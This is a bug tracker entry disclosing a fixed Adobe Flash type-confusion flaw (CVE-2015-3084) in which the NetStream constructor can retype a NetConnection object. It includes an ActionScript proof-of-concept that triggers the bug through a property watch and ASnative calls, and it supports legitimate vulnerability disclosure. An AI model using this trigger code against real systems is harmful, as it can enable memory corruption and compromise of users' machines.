New issue
Advanced search Search tips
Note: Color blocks (like or ) mean that a user may not be available. Tooltip shows the reason.
Starred by 2 users
Status: Fixed
Owner:
Email to this user bounced
Closed: May 2015
Cc:



Sign in to add a comment
Adobe Flash: NetStream Missing Constructor Normal Check
Project Member Reported by natashenka@google.com, Mar 14 2015 Back to list
The NetStream class does not check that the new object is a normal object before setting its user data and destroy function. This allows for type confusion in several places, including the NetConnection class as shown in the code below:

import flash.display.BitmapData;
import flash.net.FileReference;

class mysubclass extends NetConnection {
	
	function mysubclass(a){
		
		this.uri = "test";
	        super();
		this.watch("uri", func);
		var n = {toString : func}
		var s = super;
		var y;
		trace(y);
		this.connect(y);
		var f = ASnative(2101, 411); //setBufferTimeMax
		f.call(this, 1000);
		function func(a, b, c){
			
			trace("here " + b + " " + c);
			var f = ASnative(2101, 200); // newStream
			var o = {};
			var n = new NetConnection();
			var y;
			n.connect(y);
			f(this, n);
			return c;
			}
		}
	}
	

The NetConnection connect function checks that the this object is a NetConnection, but then sets the URI before it sets the user data and destroyproc. Setting a watch on the URL allows a call into ActionScript, and then the object type can be set using the NetStream constructor before returning to the NetConnection. This leads to an object with type NetStream backed by a native object of type NetConnection.

This bug is subject to a 90 day disclosure deadline. If 90 days elapse
without a broadly available patch, then the bug report will automatically
become visible to the public.
 
super2.swf
1.0 KB Download
super2.fla
5.4 KB Download
mysubclass.as
1.1 KB Download
Comment 1 by cevans@google.com, Mar 17 2015
Labels: Id-3496
Comment 2 by cevans@google.com, May 7 2015
Labels: CVE-2015-3084
Comment 3 by cevans@google.com, May 12 2015
Labels: Fixed-2015-May-12
Status: Fixed
https://helpx.adobe.com/security/products/flash-player/apsb15-09.html
Project Member Comment 4 by natashenka@google.com, May 28 2015
Labels: -Restrict-View-Commit
Sign in to add a comment